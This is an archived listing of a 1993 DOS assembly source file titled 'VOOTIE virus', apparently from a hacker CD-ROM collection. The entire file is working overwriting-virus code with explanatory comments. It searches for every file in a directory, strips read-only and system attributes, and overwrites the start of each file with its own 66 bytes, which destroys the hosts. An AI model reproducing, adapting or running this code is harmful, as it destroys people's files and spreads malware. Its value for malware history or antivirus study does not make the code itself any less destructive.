home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 2 / HACKER2.BIN / 308.VOOTIE.ASM < prev    next >
Assembly Source File  |  1993-02-22  |  2KB  |  54 lines

  1. ; VOOTIE virus
  2.  
  3.  
  4.  
  5. CODE    SEGMENT
  6.     ASSUME  CS:CODE, DS:CODE, ES:CODE, SS:NOTHING
  7.  
  8.     org     0100h
  9.  
  10. Vootie: mov     dx,offset file_argument ;load search mask, *.*, for any files
  11.     push    bp                      ;
  12.     mov     ah,4Eh                  ;find first host file, any file
  13.  
  14. refind: int     21h                     ;keep cycling through directory
  15.     
  16.     jb      exit                    ;no more files, exit
  17.     mov     ah,2Fh                  ;set DTA
  18.     int     21h                     
  19.     mov     si,bx                   
  20.     mov     ax,4301h                ;clear file attributes so
  21.     xor     cx,cx                   ;virus can roll over read-only
  22.                     ;and system files 
  23.     lea     dx,[si+1Eh]             
  24.     int     21h                     
  25.     mov     ax,3D02h                ;open host file, read/write
  26.     int     21h                     
  27.     xchg    ax,bx                   ;put handle in ax
  28.     mov     ah,40h                  ;write to file function
  29.     mov     cx,0042h                ;66 bytes to write in cx
  30.     mov     dx,0100h                ;write from start of Vootie
  31.     int     21h                     
  32.     mov     ah,3Eh                  ;close infected file
  33.     int     21h                     
  34.     mov     ah,4Fh                  ;find next file in directory
  35.     jmp     Short refind            ;cycle to "refind"
  36. ;---------------------------------------
  37. exit:   pop     bp                      
  38.     mov     ax,4C00h                ;terminate program
  39.     int     21h                     ;exit to DOS
  40.                     
  41. ;---------------------------------------
  42. ;DATA
  43.  
  44. file_argument        db      "*.*"              
  45. my_name              dw      5600h      ;virus name =            
  46.              db      99h        ;"VOOTIE" in              
  47.              db      93h        ;weird ASCII            
  48.              dw      8BC2h      ;so VSUM indexer will            
  49.              db      90h        ;have something to include            
  50.                     ;in database before lunch
  51. CODE    ENDS
  52.     END     VOOTIE
  53.  
  54.